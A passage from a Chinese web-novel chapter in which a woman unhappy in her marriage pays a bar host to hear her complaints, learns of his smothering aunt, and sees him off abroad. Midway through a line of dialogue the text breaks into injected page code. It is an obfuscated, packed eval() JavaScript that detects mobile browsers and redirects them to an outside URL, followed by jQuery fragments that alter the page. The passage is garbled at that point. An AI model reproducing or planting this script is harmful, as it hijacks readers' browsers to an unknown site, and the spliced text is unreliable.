每个人都是独特的。


    相似只是相似，甚至只有五六分的样貌，三四分的说话神态，其他完全不一样。


    可也就这几分，那几分，拼凑出一个迷幻的过去。


    总能把人代入。


    张恺薇第二次约张源是因为和江明叙吵架，她需要个人吐槽。


    五十万正好当垃圾桶。


    “当初明明是他要结婚，是他说会对我好，结果对我在他们江家的委屈视而不见。我想要搬出去，他为了自己快活，一点都不在乎我舒不舒服。行，那我就搬回自己家，也不行，他觉得是跟他分居，会破坏夫妻感情。他爹的，没用的男人，连个主意都拿不定。”


    张源对着电脑忙忙叨叨，也不知听了多少，“那你为什么结婚？”


    “因为爱情啊。”


    “现在还有吗？”


    “没多少了。”


    “你可以离婚。”


    张恺薇：“你以为离婚那么容易？我跟我爸妈怎么交代，别人怎么看我，况且，江明叙对我并不是不好，只是，他不适合做丈夫，他没有责任感。”


    “你想太多，没人会关注你。”


    “你当然不在意，你都能在酒吧当男模。”


    “张恺薇，我有必要提醒你，这是份正当职业。”


    “对，不正当的是你。”


    张源终于抬头，用一种好笑的眼神看着张恺薇，“对，我不正当。你说的这些我都不能理解，在我看来你就是闲着没事干。等你吃不上饭的时候，就不会想这些乱七八糟的事了。你纠结的这些东西完全没意义，让你离婚又不敢，好像永远离不开男人一样。你这种人活该痛苦，拿得起放不下，想要的东西又说不出，总得别人双手捧到你手上。”


    张恺薇：“还有呢？”


    “还有什么？”


    “你继续骂我吧，我觉得你骂得挺对。”


    “那你点几瓶酒。”


    “你真抠。”


    他们订了一间酒店，一人坐在床边，一人坐在办公桌前，一个小时的时间都是张恺薇在吐槽。


    她起劲得很，张源都渴了，她还没觉得口干。


    酒店服务人员送了几瓶酒还有一些吃食过来，张恺薇看着酒，突然提防地看了张源好几眼。


    张源冷嗤一声，“房都开了，现在提防我有些晚了吧。”


    张恺薇喝了几口酒，还是没忍住对张源的好奇。


    “你的口音不像本地人。”


    “甘肃。”


    “那还挺远的，我没去过甘肃。”


    “远就别去了。”


    “我还以为你会给我介绍你的家乡呢。”


    “没什么好介绍，你可以上网自己搜。”


    听语气该是有很多不好的回忆。


    张恺薇一时不知道该不该往下问，她还没无聊到要揭别人的伤疤。


    “我是孤儿。”张源突然说，“七岁的时候吧，我爸妈都死了。”


    张恺薇还没对上张源的目光，他就说：“别用怜悯的眼神看我，孤儿而已。”


    “哦，没可怜你啊，反正你们男人随便活活也能过得还行。那你后来是住孤儿院吗？”


    “不是，跟我小姑住一起，她对我挺好的。”


    “那她现在是在甘肃吗？”


    “还是跟我住一起。”


    “那你挺孝顺，所以你攒钱是要在杭城买房？”


    “不买，我要逃出去。”


    “逃到哪里去？”


    “出国。”


    “那你要带你小姑一起吗？”


    “不带。”


    “......”


    张源说：“我小姑对我非常好。”


    “嗯，你说过了。”


    “好奇吗？”


    “有点。”


    “一千，把这个秘密卖给你。”


    “张源，你这个人真有趣。”


    “我从来没和别人说过。”


    “那你说。”


    “一千。”


    “成交。”


    下面的话，张源是带着笑说的。


    张恺薇也分不清那笑是真笑假笑，张源太会隐藏自己。


    “在我初中时，我小姑还要给我洗澡。高中的时候，我想住校，她把我在家关了三天。我来杭城上大学，她就辞了工作在我学校旁边租了个房子。现在和我住在一起，她在家里有时会不穿上衣。”


    “我不断告诉自己，她对我很好。可这种生活让我窒息，我们好像都不正常。”


    张恺薇嘴巴张张合合，好半天才问：“你带你小姑去看医生了吗？”


    “她不肯去。”


    好吧。


    虽然张恺薇觉得小姑很可怜，可张源也可怜。


    这种畸形的关系她没经历过，无法代入。


    张源那话挺对，他不理解她，她也不能够完全理解他。


    在一个月里，两人也没约几次。


    到达期限，张恺薇准时将钱给张源打了过去。


    虽然很冤大头，但张恺薇始终觉得值。


    本以为和张源不会再见，但杭城说大也大，说小就小。两人在市中心的一家书城相遇，他们不约而同地笑。毕竟，他们看起来都不像是爱看书的人。


    张恺薇看过去，张源手里拿的两册书是《卡马拉佐夫兄弟》。


    “没看出来。”张恺薇先说。


    “我也没看出你是会逛书店的人。”张源说，“喝一杯？”


    “不了，最近没钱。”


    “我请你。”


    张源请的是优惠券买的库迪咖啡，张恺薇瞥到那券的实付款是0.01元。


    然后他们又走进旁边的瑞幸。


    张源问张恺薇喝哪杯。


    张恺薇随便拿了一杯，喝完第一口就开始忍不住地笑。


    张源也是个妙人了。


    亲眼看见个帅哥跑来跑去地薅羊毛，还是请别人的，怎么想怎么好笑。


    但张源丝毫尴尬都没有，他隐藏自己，又很坦诚。


    张源说：“要是请别人喝咖啡我不会这样。”


    这话吧，说出来很欠打。


    张恺薇听着不高兴，合着就是她不配呗。


    两个月不见，张恺薇没什么话要对张源说。前一个路口，他们走过去，张恺薇说：“就到这里吧，再见。”


    “张恺薇。”张源叫住她。


    下面的话，张源该是酝酿了很久。


    张恺薇等了足足有一分钟，他才说道：“下个月我就走了，你来送我吗？”


    “有人送吗？”


    “没。”


    “行吧。”


    张恺薇一开始就知道张源是那种嘴硬心软的人。


    这点很像。


    “作为报答，我请你吃顿饭？”


    “大哥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704543|164010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，饶了我吧。”


    出乎意料，是一家日式的小酒馆。


    点菜的时候，张恺薇一直等着张源掏出一张优惠券来。


    意外地没有。


    “张源，你到底多大？”这哥们说他二十五，张恺薇不信。


    “三十一。”


    “你都三十一了？”本以为会大个一两岁，结果都是过三十的人了。


    张恺薇说：“那你在公司应该也是个小领导级别了吧，还出来干这个。”


    “组长，不过工资也就那样，谁不想来钱快。”


    “你不怕同事碰见？”


    “无所谓，大不了辞职。”


    张源的无所谓理论，张恺薇日后想起来也算给了自己不小支撑。等真的无所谓的时候，一切都不重要了。


    什么婚姻，什么爱人，什么家庭，什么誓言，都是狗屁。


    张恺薇问：“安排好你小姑了吗？”


    张源说：“给她留了一笔钱。”


    张恺薇没问具体数目，心里盘算起张源去美国读书，后续还要什么工作签，定居乱七八糟的，手里钱也不知道够不够。


    筹划了这么久的事情，张恺薇问张源是不是很激动。


    张源摇头，“其实有点舍不得。”


    或许张源为了表示送行的感谢，到底是说了一些掏心窝子的话。


    但张恺薇却觉得，更多的是，他们以后不会再见，所以张源才卸下心防说了那么多。


    他们聊了一夜。


    地点从酒馆换到压马路。


    一种自由感突然贯穿而来，让张恺薇觉得很舒服。


    多年前，她和江明叙在学校操场散步也是这种感受。曾经让她觉得晚风很温柔的人，如今却看着生厌。


    婚姻制，真是罪大恶极。


    张恺薇第二天晚上回去，得知江明叙又是一夜未归。


    刚开始张恺薇还会得到一通电话，一记短信，现在江明叙不回来都不会告诉她了。


    其实，如果生性爱自由，可以不结婚的。


    她的困惑是，为什么要结婚，为什么要和她结婚。


    在机场那天，张恺薇算了一下，她和张源见面的次数不足十次。但好像送走一个老朋友般，让她觉得不舍。


    她看着那张与魏书程相似棱角的脸，才发觉与魏书程已经太久太久没见了。


    如果她过得好，大概不会想起这么个人。他们的轨迹已经偏离，没有一方的寻找，一生都不会再交汇。


    张恺薇往张源大衣口袋里悄悄塞了一张卡，本想轻快地说一句“我拿老公的钱养你”，结果张源突然抱住她，把那些话玩笑话都吞咽了下去。她还没回过神，张源已经转身去登机了。


    张源消失在张恺薇眼里后的几秒，她有强烈的，不可抑制的，想要去见魏书程的冲动。


    几秒后，张恺薇平静地开着车回到公司。


    不可抑制，并不是真的不可抑制。


    临近下班，张恺薇给家里打电话，说晚上要回去吃饭。她先逛了趟超市，买了好些菜。


    车开过一片商务区，与张恺薇所在的公司是反方向。条条大道，她都熟悉，高中时上下学都要坐十几站公交穿梭在这里。但现在，只有回父母家才会路过这里。


    不管是景，还是人，许久不见，都会错过他们的变化。


    她每次开过这里时，都回覆来一阵巨大的生疏感。